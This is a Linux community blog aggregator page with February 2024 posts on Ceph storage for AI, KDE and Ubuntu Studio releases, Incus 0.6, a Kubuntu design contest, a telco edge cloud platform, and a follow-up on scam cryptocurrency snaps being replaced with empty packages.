February 26, 2024

Ceph Storage for AI

Ubuntu Blog

Use open source Ceph storage to fuel your AI vision

<noscript> <img alt="" src="https://res.cloudinary.com/canonical/image/fetch/f_auto,q_auto,fl_sanitize,c_fill,w_720/https://lh7-us.googleusercontent.com/jm6V4KRx5oMD2Ub1vxu1k-4nAAwkDA1gA9wKiQfSunSr5Q1u3gILoK7U1imXCdppssH7fMTEdHUjbfuwQmJrpNLaBJRPZlb9jqGbzk8vy3n47PaYIMuAIUGRfxdhdSXDPECJZlS5obPpBsjBQ8KXjhk" width="720" /> </noscript>

The use of AI is a hot topic for any organisation right now. The allure of operational insights, profit, and cost reduction that could be derived from existing data makes it a technology that’s being rolled out at an incredible pace in even change-resistant organisations.

However, AI systems that deliver these insights, savings, and profits, rely heavily on access to large amounts of data. Without performant, and reliable storage systems, even the most cutting-edge AI solution will not be able to provide timely results. Additionally, these new AI related workloads cannot impact existing business applications, both need to operate together harmoniously.

In this blog, we will explore some of the requirements placed on a storage system by an AI solution, as well as the types of data used.  We will introduce Ceph as one of the options available to store both AI-related data and typical business data.

The demands AI places on storage

New AI applications mean additional pressures and requirements for your storage systems. Here’s what your storage system needs in order to support new AI workloads:

High throughput

AI workloads need access to lots of data, and quickly: first, when reading raw data, and second, for writing the output following processing.    It is not uncommon to see requirements in the region of 100’s GBps and over 1TBps!

Storage solutions such as Ceph allow for caching elements to be added to assist with bursty write workloads, and the ability to scale-out to increase overall system throughput.

Scalability

The AI infrastructure of today is not what the AI infrastructure of tomorrow will look like.  A storage system needs to be able to adapt to the needs of AI  workloads, both in its ability to scale up for capacity and throughout reasons, but also to scale down should the hardware need to be reused elsewhere in an organisation’s infrastructure.

Flexibility

Following on from scalability, a storage system needs to be flexible enough to accommodate different types of AI workloads.  Not all data is created equal; some can be more important than others, and over time it’s value can change as well. For example, bank transaction data is more likely to be accessed during the first thirty to sixty days when people are checking their balances and viewing end of month statements, than say in 3 years time.  However, it is still important that the data is preserved and available should it need to be accessed at that time.

Therefore your storage system needs to be capable of offering different tiers of storage to meet this requirement.  A storage system such as Ceph allows a user to combine heterogeneous hardware, allowing them to mix and match over time as system needs dictate.

Reliability

The most important role that a storage system plays is storing data. There is little use of a storage system that is highly performant, but which cannot store data reliably; what good is generating and processing data if it can’t be retrieved?A solution like Ceph allows a user to choose from replication and erasure coding based protection strategies – again, to allow for a system configuration that can match business value with cost to store.

Types of AI Data

Now that we understand the characteristics that a high-quality storage system needs to provide, let’s take a look at what kinds of data are most typical in AI applications. There isn’t just “one” type of AI data.  There are multiple different types, all used at various stages of developing, training and deploying AI models.

Raw and pre-processed data

This is the source data extracted and retrieved from all manner of applications and systems: chat tools, email archives, CCTV recordings, support call recordings or autonomous vehicle telemetry – just to name a few examples.  This data can be in all forms: database tables, text, images, audio, or video.

Once extracted from these systems this data is typically pre-processed to ensure that it is in a useful format for training.  Pre-processing can also remove otherwise redundant steps later in the pipeline, saving time and computation resources. With certain data sets pre-processing is used to anonymise the data to ensure regulatory compliance is met.

Training datasets

Training datasets are typically a subset of pre-processed data that is used to train an AI model.  What makes this dataset special is that the expected model output has already been defined. It is important that these datasets are preserved so that they can be used to refine a model or evaluate its performance.

Models

The structure of an AI model – the layers and nodes – needs to be reliably stored so that the model can be redeployed in the future.  Additionally an AI model contains parameters and weights that are tweaked during model training.  Future adjustments can be made to these variables to fine tune the model or to deploy it in an inference role.

Results

This is the most important of all the steps of importing, pre-processing, training, and deployment. The output, or inference data, is typically the most useful and valuable data for business uses, and it must be stored so that it is available for use. In some cases, this data needs to be retained for auditing and future refinement.

Open source options for AI Storage

Finding a storage solution that delivers everything you’re looking for – cost, speed, flexibility, scalability, and support for a multitude of data sets and types – is difficult. Proprietary storage solutions can be inflexible, and public cloud services soon become costly as you grow; two areas where in-house open source solutions would be an ideal answer.

Canonical Ceph is a storage solution for all scales and all workloads, from the edge to large scale AI modelling, and for all storage protocols.  Mixed workloads, with different performance, capacity, and access needs can all be accommodated by a single cluster.  The scale out nature of Ceph means that hardware can be added incrementally to meet either performance or capacity needs.

<noscript> <img alt="" src="https://res.cloudinary.com/canonical/image/fetch/f_auto,q_auto,fl_sanitize,c_fill,w_720/https://lh7-us.googleusercontent.com/Ce4n272mO5DVukEdqQU_PUsWnowkBtLWvkKLY4WEvXQN6QHWyajeOmcxXLjmejlLJZmiAcVKkqL4zTeAt44hggzazTkSrq61LkroIyyUA6f9hgzjcQJ_9Zo20j_oq_GCHQawCkTqpv4fbz62cniwucg" width="720" /> </noscript>
Architectural overview of a Ceph cluster

Block

Block storage needs are provided via the RADOS Block Device (RBD) protocol – a highly scalable multipath-native block transport.  To support legacy environments iSCSI can also be accommodated via gateway, and in a future release highly available NVMeoF will be supported as well.

File

Shared File storage is presented either via Ceph’s native POSIX compatible protocol CephFS, or via the NFS protocol again via a gateway.

Object

An Object storage API with compatibility for both the S3 and Swift APIs is fully supported in a Ceph cluster.

Learn more

<noscript> <img alt="" src="https://res.cloudinary.com/canonical/image/fetch/f_auto,q_auto,fl_sanitize,c_fill,w_600/https://ubuntu.com/wp-content/uploads/6c4b/Ai-storage-3.png" width="600" /> </noscript>

Join our webinar on using Ceph for AI workloads here and learn about:

  • AI storage use cases
  • Storage economics
  • Performance considerations
  • Typical hardware configurations
  • Storage security

Additional resources

on February 26, 2024 08:06 AM

February 25, 2024

Plasma Pass 1.2.2

Jonathan Riddell

Plasma Pass is a Plasma applet for the Pass password manager

This release includes build fixes for Plasma 6, due to be released later this week.

URL: https://download.kde.org/stable/plasma-pass/
Sha256: 2a726455084d7806fe78bc8aa6222a44f328b6063479f8b7afc3692e18c397ce
Signed by E0A3EB202F8E57528E13E72FD7574483BB57B18D Jonathan Esk-Riddell <jr@jriddell.org>
https://jriddell.org/esk-riddell.gpg

on February 25, 2024 11:57 AM

February 23, 2024

As we get to the close of February 2024, we’re also getting close to Feature Freeze for Ubuntu Studio 2024 and, therefore, a closer look at what Ubuntu Studio 24.04 LTS will look like!

Before we get to that, however, we do want to let everyone know that community donations are down. We understand these are trying times for us all, and we just want to remind everyone that the creation and maintenance of Ubuntu Studio does come at some expense, such as electricity, internet, and equipment costs. All of that is in addition to the tireless hours our project leader, Erich Eickmeyer, is putting into this project daily.

Additionally, some recurring donations are failing. We’re not sure if they’re due to expired payment methods or inadequate funds, but we have no way to reach the people whose recurring donations have failed other than this method. So, if you have received any kind of notice, we kindly ask that you would check to see why those donations are failing. If you’d like to cancel, then that’s not a problem either.

If you find Ubuntu Studio useful or agree with its mission, we would ask that you would ask that you would contribute a donation or subscribe using one of the methods below.

Ubuntu Studio Will Always Remain a Free Download. That Will Not Change. The work that goes into producing it, however, is not free, and for that reason, we ask for voluntary donations.

Donate using PayPal
Donations are Monthly or One-Time
Donate using Liberapay
Donate using Liberapay
Donations are
Weekly, Monthly, or Annually
Donate using Patreon
Become a Patron!Donations are
Monthly


The New Installer

Progress has been made on the new installer, and for a while, it was working. However, at this time, the code is entirely in the hands of the Ubuntu Desktop Team at Canonical and we at Ubuntu Studio have no control over it.

This is currently where it gets stuck. We have no control over this at present.

Additionally, while we do appreciate testing, no amount of testing or bug reporting will fix this, so we ask that you be patient.

Wallpaper Competition

Our Wallpaper Competition for Ubuntu Studio 24.04 LTS is underway! We’ve received a handful of submissions but would love to see more!

Moving from IRC back to Matrix

Our support chat is moving back from IRC to Matrix! As you may recall, we had a Matrix room as our support chat until recently. However, the entire Ubuntu community has now begun a migration to Matrix for our communication needs, and Ubuntu Studio will be following. Stay tuned for more information to that, but also our links will be changing on the website, and the menu links will default to Matrix in Ubuntu Studio 24.04 LTS’s release.

PulseAudio-Jack/Studio Controls Deprecation

Beginning in Ubuntu Studio 24.04 LTS, the old PulseAudio-JACK bridging/configuration, while still installable and usable with Studio Controls, will no longer be supported and will not be recommended for use. For most people, the default configuration using PipeWire with the PipeWire-JACK configuration enabled, which can be disabled on-the-fly if one wishes to use JACKd2 with QJackCtl.

While Studio Controls started out as our in-house-built Ubuntu Studio Controls, it is no longer useful as its functionality has largely been replaced by the full low-latency audio integration and bridging PipeWire has provided.


With that, we hope our next update will provide you with better news regarding the installer, so keep your eyes on this space!

on February 23, 2024 10:48 PM

Announcing Incus 0.6

Stéphane Graber

Looking for something to do this weekend? How about trying out the all new Incus 0.6!

This Incus release is quite the feature packed one! It comes with an all new storage driver to allow a shared disk to be used for storage across a cluster. On top of that we also have support for backing up and restoring storage buckets, control over accessing of shared block devices, the ability to list images across all projects, a number of OVN improvements and more!

The full announcement and changelog can be found here.
And for those who prefer videos, here’s the release overview video:

You can take the latest release of Incus up for a spin through our online demo service at: https://linuxcontainers.org/incus/try-it/

And as always, my company is offering commercial support on Incus, ranging from by-the-hour support contracts to one-off services on things like initial migration from LXD, review of your deployment to squeeze the most out of Incus or even feature sponsorship. You’ll find all details of that here: https://zabbly.com/incus

Donations towards my work on this and other open source projects is also always appreciated, you can find me on Github Sponsors, Patreon and Ko-fi.

Enjoy!

on February 23, 2024 10:17 PM

Kubuntu Graphic Design Contest

Kubuntu General News

Announcing the Kubuntu Graphic Design Contest:

Shape the Future of Kubuntu

We’re thrilled to unveil an extraordinary opportunity for creatives and enthusiasts within and beyond the Kubuntu community

The Kubuntu Graphic Design Contest.

This competition invites talented designers to play a pivotal role in shaping the next generation of the Kubuntu brand. It’s your chance to leave a lasting mark on one of the most beloved Linux distributions in the world.

What We’re Looking For:

The contest centers on reimagining and modernizing the Kubuntu brand, including the logo, colour palette, fonts, and the default desktop environment for the upcoming Kubuntu 24.04 release. We’re seeking innovative designs that reflect the essence of Kubuntu while resonating with both current users and newcomers.

Guidelines:

Inspiration: Contestants are encouraged to review the current brand and styles of kubuntu.org, kde.org, and ubuntu.com to understand the foundational elements of our visual identity.

Creativity and Modernity: Your submission should propose a fresh, modern look and feel for the Kubuntu brand and its supporting marketing materials. Think outside the box to create something truly unique.

Cohesion: While innovation is key, entries should maintain a cohesive relationship with the broader KDE and Ubuntu ecosystems, ensuring a seamless user experience across platforms.

How to Participate:

The contest is open now! We welcome designers from all backgrounds to contribute their vision for Kubuntu’s future.

Multiple entries are allowed, giving you ample opportunity to showcase your creativity.

Submission Deadline: All entries must be submitted by 23:59 on Sunday, 31st March.

Prizes:

Winner will have the honour of seeing their design become the face of Kubuntu 24.04, receiving recognition across our platforms and within the global open-source community.

First Prize:

  • Global recognition of your design as the new face of Kubuntu.
  • A trophy and certificate.
  • A Kubuntu LTS optimized and validated computer: the Kubuntu Focus Ir14 Laptop or the Kubuntu Focus NX MiniPC with 32 GB of RAM – over a $1,000 value.
  • Kubuntu Focus branded merchandise up to $50 USD shipped.

Second Prize:

  • Your runner up entry featured on kubuntu.org.
  • A trophy and certificate.
  • Kubuntu Focus branded merchandise up to $50 USD shipped.

Third Prize:

Join the Contest:

This is more than a competition; it’s a chance to contribute to a project that powers the computers of millions around the world. Whether you’re a seasoned designer or a passionate amateur, we invite you to bring your vision to life and help define the future of Kubuntu.

For more details on how to submit your designs and contest rules, visit our contest page.

Let’s create something extraordinary together. Your design could be the next symbol of Kubuntu’s innovation and community spirit.

Apply now: Contest Page

on February 23, 2024 07:41 PM

Canonical and Spectro Cloud have collaborated to develop an effective telco edge cloud solution, Cloud Native Execution Platform (CNEP). CNEP is built with Canonical’s open source infrastructure solutions and Spectro Cloud’s Palette containers-as-a-service (CaaS) platform. This technology stack empowers operators to benefit from the cost optimisation and agility improvements delivered by edge clouds in a highly secure and performant way.

<noscript> <img alt="" height="57" src="https://res.cloudinary.com/canonical/image/fetch/f_auto,q_auto,fl_sanitize,c_fill,w_492,h_57/https://lh7-us.googleusercontent.com/MeyKW22306DfhUrskv82xjtb4Xz0ogoEajJF6r50msDcTjGOVbA06lEDOV34noMODOYH9MA6O7xGWbCyqzwYEOFHm_P7k1NxQDV0Ca0iSdPpaDDK6HhsepYS1bEjk_Wy5xXtaURs1an8NpuILrBRp7Y" width="492" /> </noscript>

Through a single pane of glass provided by Spectro Cloud Palette, operators can deploy, configure and manage all their telco edge clouds centrally, taking full advantage of Canonical’s infrastructure technology. The joint solution brings automation to deployment and maintenance operations at scale and enables fully cloud-native telco edge clouds.

Telco edge clouds

With the softwarisation of network services and the adoption of cloud computing in the telco sector, the architecture of mobile networks has evolved significantly. Modern telecom networks are no longer run by all-in-one systems deployed at a central location. Instead, operators can scale their systems and offer their services closer to users, thanks to highly scalable, distributed and cloud-native architectures.

Telco operators increasingly deploy cloud computing systems at the edge of their networks, which are often referred to as edge clouds. According to the IDC spending guide forecast published in February 2023, service providers will invest more than $44 billion in enabling edge offerings in 2023. This trend has emerged due to the change in infrastructure architecture and the evolution of mobile networking software which is now based on components that run on containers as microservices. 

Edge computing is predicted to grow even more, as the technology has brought efficiency, flexibility and scalability to telecom systems in deployment and operation. STL partner’s revenue forecast notes a prediction of $445bn in global demand for edge computing services in 2030. 

Five key requirements for edge cloud success in telco 

To unlock the benefits of cloud computing, operators need an effective infrastructure stack to host cloud-native software on edge clouds. Telco deployments are highly demanding, and so a suitable infrastructure stack should satisfy these five key requirements: 

Autonomous operations

It is critical to minimise operational maintenance for edge clouds. These clouds are large in number, and it is costly to maintain systems manually, especially when they are deployed close to radio equipment where it is impractical for administrators to visit deployment sites physically. The solution is to ensure that edge clouds can be operated in an autonomous manner.

Secure

Telco networks are part of our critical infrastructure, carrying sensitive user data. Systems must comply with all necessary security standards and have hardening measures to safeguard user information.

Minimal but variable in size

A minimal footprint is one of the defining characteristics of an edge cloud. A few server hardware nodes may be all that is needed to set up a small cloud that would run a number of cell sites. That being said, there is no single-size solution – requirements may change based on what an operator intends to run at its edge network. Therefore, infrastructure must be able to scale as and when needed.

Energy efficient

A telco operator typically runs a large number of sites for its radio networks. Even a 2% reduction in energy consumption translates to significant cost savings. This means that the ideal edge cloud solution must be optimised at every layer of its stack and have features that support running and operating only what is needed with no extras. It should also support advanced hardware and software features to reduce power consumption.

Highly performant

Telco networks must deliver user data quickly and reliably – service quality and reliability depends on it. Solutions at the telco edge must support the latest technology and enhanced features that enable faster delivery of information at every layer of the hardware and software stack.

Challenges

Edge clouds need a software stack that is built with multiple virtualisation technologies, which makes it challenging to integrate and set up a fully functional system. Addressing the five requirements mentioned above with modern open source cloud technologies is a complex task. Despite the clear benefits those technologies bring, there still gaps to fill. Canonical and SpectroCloud worked together to fill these gaps and make the usage of those open source technologies easier and telco-grade. 

Maintaining updates and upgrades in a cloud system is of paramount importance for smooth system operation while ensuring system integrity and security. However, a typical distributed telecom system deployment has many edge sites each running a virtualisation infrastructure. Furthermore, both the virtualisation software and the application workloads that run on a cloud environment have a large set of dependencies. Given this scale and complexity, it is simply not feasible to manually perform updates and upgrades to maintain these systems.

Besides updates and upgrades, operational procedures such as deployment, scaling and runtime maintenance, are highly repetitive across all telco edge cloud sites. Without a scalable system, it is not possible to operate a telco-edge infrastructure in a cost-efficient way.

Automating telco edge clouds at scale

Cloud Native Execution Platform (CNEP), the solution by Canonical and Spectro Cloud, addresses the five key requirements of successful edge clouds when deploying and maintaining their distributed telco cloud infrastructure. It offers a software stack that is efficient, secure, performant and modular.

The technology stack

The solution stack is tailored for the needs of telco edge clouds from bare metal to containers. It consists of Canonical’s Metal-as-a-Service (MAAS) and MicroK8s solutions that together deliver the bare metal performance and orchestration required by the telecom sector while enabling the flexibility and agility of cloud native environments. Integrated with Spectro Cloud’s Palette, the solution provides automation for deployment of Canonical’s cloud native edge cloud stack at scale at multiple edge sites.

<noscript> <img alt="" height="420" src="https://res.cloudinary.com/canonical/image/fetch/f_auto,q_auto,fl_sanitize,c_fill,w_420,h_420/https://ubuntu.com/wp-content/uploads/7d44/CNEP_transparent_new.png" width="420" /> </noscript>

Cloud Native Execution Platform (CNEP)

Platform features

This resulting solution, named Cloud Native Execution Platform (CNEP) simplifies onboarding, deployment and management of MicroK8s clusters. MicroK8s is a light-weight, zero-ops and purely upstream CNCF certified Kubernetes distribution by Canonical, with high availability, automatic updates and streamlined upgrades. It is the container orchestrator in CNEP, tailored for telco edge clouds, with optimised performance, scalability, reliability, power efficiency and security. 

CNEP offers an array of features that make it ideally suited to telco use cases.

Multi-site automation

CNEP provides multi-site control, observability, governance and orchestration with zero-downtime upgrades. Through Spectro Cloud Palette, operators can seamlessly deploy, configure and manage all their telco edge clouds from a central location.

<noscript> <img alt="" height="227" src="https://res.cloudinary.com/canonical/image/fetch/f_auto,q_auto,fl_sanitize,c_fill,w_335,h_227/https://ubuntu.com/wp-content/uploads/9774/observable-gui.png" width="335" /> </noscript>

Palette not only manages bare metal automation and provisioning with MAAS but also achieves deployment and management of MicroK8s clusters, all through Cluster API (CAPI). It gives operators rich and fine-grained control over their Day 2 operations, such as patching and configuration changes. The platform also provides full observability and role based access control (RBAC) capabilities.

Repeatable deployments

In CNEP, operators can achieve repeatable and reliable MicroK8s cluster deployments with automation at scale using Palette across multiple geographical sites. With Palette, CNEP achieves decentralised policy enforcement and self-healing for autonomy and resilience at scale. This provides operators with a consistent end-to-end declarative management experience.

<noscript> <img alt="" height="206" src="https://res.cloudinary.com/canonical/image/fetch/f_auto,q_auto,fl_sanitize,c_fill,w_423,h_206/https://ubuntu.com/wp-content/uploads/52bc/multi-edge-clouds.png" width="423" /> </noscript>

Self-healing by Palette in CNEP is achieved by continuously monitoring the state of the deployed MicroK8s cluster at each site and comparing it against the desired cluster state. Any deviation between the two states is addressed by bringing the cluster to the desired state based on policies.

Cloud native, reliable and software defined

CNEP is cloud native and reliable for containerised workloads. MicroK8s supports Cluster API to meet the complex needs of highly distributed edge node onboarding, secure deployment and substrate provisioning. It also supports all popular container networking interfaces (CNI), including Cilium, Calico and Flannel, as well as Kube-OVN as a CNI for software defined networking. 

For management and control of object, block and file storage, MicroK8s integrates with Canonical Charmed Ceph, which is a flexible software-defined storage controller solution. CNEP provides support for these CNIs and Charmed Ceph out of the box.

Automated hardware at scale

Bare metal hardware provisioning with MAAS enables operators to automate their edge hardware infrastructure, and gain visibility and control over their hardware resources. This provides agility in system deployment with full automation in configuration and operating system deployment. 

MAAS supports CAPI to enable hardware automation operations while deploying and managing MicroK8s clusters. With Palette, CNEP achieves bare metal automation at scale across multiple edge cloud sites through MAAS CAPI.

Secure and compliant

Ubuntu Pro provides security compliance, hardening and auditing, as well as support to the edge cloud infrastructure as a whole and to the cloud native telco workloads running in containers. It provides security patches, hardening profiles, standards compliance and automated CVE patches for an extensive set of open source packages (over 23000). CNEP supports multiple security standards. For instance, both Ubuntu Pro and Palette have conformance to FIPS 140-2.

<noscript> <img alt="" height="230" src="https://res.cloudinary.com/canonical/image/fetch/f_auto,q_auto,fl_sanitize,c_fill,w_249,h_230/https://ubuntu.com/wp-content/uploads/de41/compliance_benchmarks.png" width="249" /> </noscript>

As CNEP’s container orchestrator, MicroK8s security is mission-critical, and our solution ensures that it is safeguarded. In addition to the security features of Ubuntu Pro, MicroK8s runs in a snap, which is a confined execution environment, effectively isolating it from changes in the host system and other software running on the host. This provides a sandbox environment and protects the container orchestration environment from external threats.

The attack surface is reduced as much as possible to minimise entry points to the platform and protect it from malicious attempts. This is achieved by the opinionated design of MicroK8s, chiselled container images and Ubuntu Core.

MicroK8s has a minimal footprint that includes all necessary components but nothing extra. It is easily extensible with its modular structure as needed. Similarly, chiselled container images include only the packages needed to execute your business applications, without any additional operating system packages or libraries. In constrained environments, Ubuntu has a minimal flavour – Ubuntu Core. This provides operators with an immutable operational environment where the system runs on containerised snaps. 

Besides the security features provided by Canonical’s telco edge cloud stack at each telco site, Spectro Cloud Palette brings additional security capabilities to CNEP. This includes native security scanning for the full deployment stack, conformance scans, and penetration testing. Palette provides further patching and monitoring capabilities, along with role based access control offered as part of CNEP.

Performant

CNEP is highly-performant across the telco infrastructure stack.

At the container orchestration level, MicroK8s supports the latest enhanced platform features that streamline packet delivery between containerised applications and external services. It supports technologies such as GPU acceleration and CPU-pinning.

At the operating system level, Ubuntu Pro brings real-time compute capabilities that meet the stringent requirements of delay-sensitive telco applications and the networking stack. This enables low latency and ultra-reliable communications, which means applications can communicate with users and devices with the fastest possible performance at the OS level.

CNEP runs on bare metal hardware, which makes it ideal for efficiency at the telco edge. Automatic updates provided by Ubuntu Pro’s kernel Livepatch service gives an uninterrupted environment to telco workloads and the networking stack.

Cost-efficient

CNEP is designed to be efficient with minimal energy consumption at the telco edge. 

MicroK8s is modular and can be extensible as necessary; it comes with a sensible set of default modules in place. This enables MicroK8s to be more efficient with the best possible use of system resources. 

Ubuntu Core has the same properties. It is minimal, with services running on snaps, providing a small footprint which consumes much less resources without sacrificing performance.

MAAS enables significant cost reductions on two aspects thanks to its hardware automation capabilities. On one hand, MAAS automates OS provisioning and software deployment on bare metal hardware, reducing operational costs and human errors. On the other hand, system administrators can optimise hardware utilisation based on workload conditions managed by MAAS.

Those automation features are augmented by the multi-site automation capabilities brought by Palette. CNEP achieves cost savings in terms of simplified deployment and management of the edge infrastructure, as engineers no longer need to physically visit deployment sites.

Summary

We are proud to be working alongside Spectro Cloud to introduce CNEP to the market. Powered by Canonical’s industry-leading open source infrastructure solutions, and with automation provided by Palette, CNEP can seamlessly scale across multi-site distributed infrastructure. It is ideal for cloud native telco workloads, edge computing business applications, and mobile networking stack, such as Open RAN CU/DU/RU and distributed 5G user plane. The solution is secure by design thanks to Ubuntu Pro, and highly efficient with support for real-time kernel and other enhanced platform features.

Get in touch 

<noscript> <img alt="" height="140" src="https://res.cloudinary.com/canonical/image/fetch/f_auto,q_auto,fl_sanitize,c_fill,w_185,h_140/https://ubuntu.com/wp-content/uploads/275f/contact-us.png" width="185" /> </noscript>

Canonical provides a full stack for your telecom infrastructure. To learn more about our telco solutions, visit our webpage at ubuntu.com/telco or get in touch.

Learn more

<noscript> <img alt="" height="400" src="https://res.cloudinary.com/canonical/image/fetch/f_auto,q_auto,fl_sanitize,c_fill,w_1200,h_400/https://ubuntu.com/wp-content/uploads/19dd/Telco-edge-cloud-automation-at-scale-1200-x-400-px-6-1.png" width="1200" /> </noscript>

Reducing latency at telco edge clouds with Ubuntu real-time kernel

Safeguarding your telco infrastructure with Ubuntu Pro

How to build carrier-grade infrastructure using enterprise open source solutions

On-demand webinar: Kubernetes on bare metal: ready for prime time!

on February 23, 2024 05:45 PM
Witch Wells AZ SunsetWitch Wells AZ Sunset

It has been a very busy 3 weeks here in Kubuntu!

Kubuntu 22.04.4 LTS has been released and can be downloaded from here: https://kubuntu.org/getkubuntu/

Work done for the upcoming 24.04 LTS release:

  • Frameworks 5.115 is in proposed waiting for the Qt transition to complete.
  • Debian merges for Plasma 5.27.10 are done, and I have confirmed there will be another bugfix release on March 6th.
  • Applications 23.08.5 is being worked on right now.
  • Added support for riscv64 hardware.
  • Bug triaging and several fixes!
  • I am working on Kubuntu branded Plasma-Welcome, Orca support and much more!
  • Aaron and the Kfocus team has been doing some amazing work getting Calamares perfected for release! Thank you!
  • Rick has been working hard on revamping kubuntu.org, stay tuned! Thank you!
  • I have added several more apparmor profiles for packages affected by https://bugs.launchpad.net/ubuntu/+source/kgeotag/+bug/2046844
  • I have aligned our meta package to adhere to https://community.kde.org/Distributions/Packaging_Recommendations and will continue to apply the rest of the fixes suggested there. Thanks for the tip Nate!

We have a branding contest! Please do enter, there are some exciting prizes https://kubuntu.org/news/kubuntu-graphic-design-contest/

Debian:

I have uploaded to NEW the following packages:

  • kde-inotify-survey
  • plank-player
  • aura-browser

I am currently working on:

  • alligator
  • xwaylandvideobridge

KDE Snaps:

KDE applications 23.08.5 have been uploaded to Candidate channel, testing help welcome. https://snapcraft.io/search?q=KDE I have also working on bug fixes, time allowing.

My continued employment depends on you, please consider a donation! https://kubuntu.org/donate/

Thank you for stopping by!

~Scarlett

on February 23, 2024 11:42 AM

On Tuesday, I blogged about a series of Bitcoin scam apps published in the Canonical Snap store.

Edit: This section updated on 2024-02-23 to include a Canonical response as two new forum posts from sabdfl (Mark Shuttleworth, CEO of Canonical).


Two things! Three things!

Zerothly, today we have a response from Canonical.

There are actually two new posts from Mark. One in response to the thread asking whether crypto apps should be banned from the Snap store, and the other an acceptance that identity verification might need to be stronger on the Snap store. Here they are in full:

From the Should unverified cryptocurrency apps be banned? thread, Mark gave his thoughts:

I agree that cryptocurrency is largely a cesspit of ignoble intentions even if the mathematics are interesting.

I see our mission as trying to improve the safety of Linux for its users. Obviously Ubuntu is a significant share of those, but we should think more broadly - our goal should be that anybody using snaps from the official snap store on any distro should be safer than if they were getting that software from other hosting platforms. We are increasingly living in a dangerous world where one is almost certain to want to run software from untrusted sources, whether that’s downloaded and installed apps, or web page scripts on a website at a link you just clicked on.

While there are ultimately limits to what we can achieve, I think it’s fair to challenge ourselves to consider additional measures that raise the safety level even if they will never be perfect.

In the design of snaps and the snap store we have mainly focused on technical confinement - the idea of safety being limited to ‘blast radius on the system’. We’ve built the best way in the world, imo, to constrain which files an app can access, which APIs or kernel services or network locations it can use and by extension attack, or be a vector for an attack. Those are measures for technical resilience.

In this case, we need to think about social resilience - how to make running Linux safer for people who are themselves vulnerable to social engineering. This is a very hard problem but one I think we can and should engage in, otherwise we’re not helping a user to help themselves, even if ultimate responsibility does lie with those users.

I don’t however think that banning cryptocurrency apps helps. If anything, it would make using Linux much worse.

At least snaps have good, and over time increasingly good, mechanisms for technical confinement. Projects like Ubuntu and Debian and RHEL have relatively rigorous know-your-contributor processes, but apps can’t all be in the distro archives. The other Linux app distribution mechanisms (such as PPAs, Github builds and releases, OBS, or even the containerised ones like Flatpak) don’t have nearly the same technical measures for confinement that snaps do. If we ban cryptocurrency apps from the snap store then those users will simply get apps from those unconfined sources - and then the attacks will be even worse because the apps can go trawling all over the system, or do things like keylogging.

At least with snaps we have more measures to limit attacks to social engineering, or defects in the kernel and related confinement code. So as much as I would not put my own money into a crypto account, and would strongly recommend others to avoid them, I don’t think banning those sorts of apps from the snap store is helping Linux users, it’s just forcing them to be even more exposed when they use cryptocurrencies.

My colleagues have been fighting a quiet war with these malicious actors for the past few months, and are working to strengthen our hand on a number of fronts. They are working up a more formal statement and I won’t pre-empt it here, I just want to express the view that pushing our users to less-safe software distribution mechanisms isn’t helping them.

In addition, Mark started a new thread titled Stronger identity verification for ALL publishers?:

Hi folks

We have seen a flurry of uploads of apps which trick users into revealing sensitive information. These are not attacking the system engineering, they are attacking the user through social engineering, so confinement rules cannot address the issue.

The team is working on a range of initiatives to mitigate and reduce the risk of apps like this. However, my concern is that apps can be updated, so even if an app is comprehensively reviewed at initial publication, the same app could turn rogue at a later date.

In the world of open source, we don’t generally have rigorous publisher information. Sites like github don’t tell you anything rigorous about who’s writing the code they host. In Ubuntu and Debian we take careful steps to know who’s uploading packages, but PPAs or OBS or Github or other build services will allow any anonymous person to build and publish packages.

Our goal with snaps should be to be the safest way to get software for your Linux system, and that means we should consider measures that are novel or different to other package hosting sites.

One thing we could do is require a more comprehensive proof of publisher identity for every publisher. We could require a credit card, and we could integrate the sort of ‘know your client’ technology that app-based banks are using to verify some sort of ID such as a passport. Typically these require something like a photograph of the passport together with a video of the person speaking. I think most banks use SAAS services for this KYC capability, and we could use the same services for Snapcraft publisher identity verification.

I suspect there is a bit of an arms race right now between bad actors with generative AI video-creation capability and these KYC services, and it would be hard to know who’s winning, in other words whether such a service provides real assurance of identity. A credit card test could also be passed by a fraudulent actor with stolen card information. If we charged a fee and waited two months to see if the charge was revoked we might have more confidence that it was really the cardholder’s intent to be charged, but then we’d have a two month delay for any publisher going through that process. I don’t really want to ask free software publishers to pay a fee to share their software as snaps, but perhaps there would be support for that if it led to people having more confidence in the safety of the system as a whole.

In the end, while it may not be perfect, we would have more data to share with law enforcement to try and bring the bad actors to justice.

We’re definitely going to attack this problem, even if the solutions are unpalatable it feels worse to potentially host malware. I’m posting here to get feedback on the specific ideas of getting some sort of hard identity check, and / or credit card information and transaction fee, for publishers. Also to invite suggestions for better approaches to publisher identity.

Thoughts?

It’s great to see Mark diving into the thread here, and updating everyone with the internal plans. I’m glad to see Mark shares my negative sentiment about crypto nonsense. If anyone reading this has strong opinions on how these problems can be solved or the situation improved, I urge you to get involved in the conversation over on the Snapcraft forum.


Edit: This following section was written on 2024-02-21.


Firstly, I have edited yesterday’s blog to remove reference to exchangerate-api. I had a few comments about this, and it would have been better not to mention them. They seem like fine upstanding people doing good work, and aren’t involved in all this horribleness. Sincere apologies for mentioning them.

Second, one of the key messages I pushed yesterday was that the dodgy applications were still installed on client machines, even after the store pages had been quarantined.

One of my recommended actions for Canonical was that they should push out a ‘clean’ snap under the same name, to replace those dodgy snaps. Well…

Good news everyone!

Canonical heard the call, and have started pushing out empty snaps in place of the dodgy ones. Note the arbitrary high version number of “9.9.9”. I personally would have preferred “6.6.6” but we can’t have everything ;).

Exodus repaired in the Snap store

Anyone who has one of the dodgy ones should get an “over the air” update soon enough, to replace it with an empty package.

By empty, I do mean, empty. The latest revision is tiny compared to the ones packing malware.

alan@vm:~/temp$ ls -lh exodus_*.snap
-rw-rw-r-- 1 alan alan 26M Feb 21 12:31 exodus_1_amd64.snap
-rw-rw-r-- 1 alan alan 26M Feb 21 12:31 exodus_2_amd64.snap
-rw-rw-r-- 1 alan alan 12M Feb 21 12:31 exodus_3_amd64.snap
-rw-rw-r-- 1 alan alan 26M Feb 21 12:31 exodus_4_amd64.snap
-rw-rw-r-- 1 alan alan 16K Feb 21 12:32 exodus_5_amd64.snap

Let’s unpack it and have a look:

alan@vm:~/temp$ unsquashfs exodus_5_amd64.snap
Parallel unsquashfs: Using 8 processors
1 inodes (1 blocks) to write

[===================================================================|] 2/2 100%

created 1 file
created 3 directories
created 0 symlinks
created 0 devices
created 0 fifos
created 0 sockets
created 0 hardlinks

Nothing to see here!

alan@vm:~/temp$ tree squashfs-root/
squashfs-root/
└── meta
 ├── gui
 └── snap.yaml

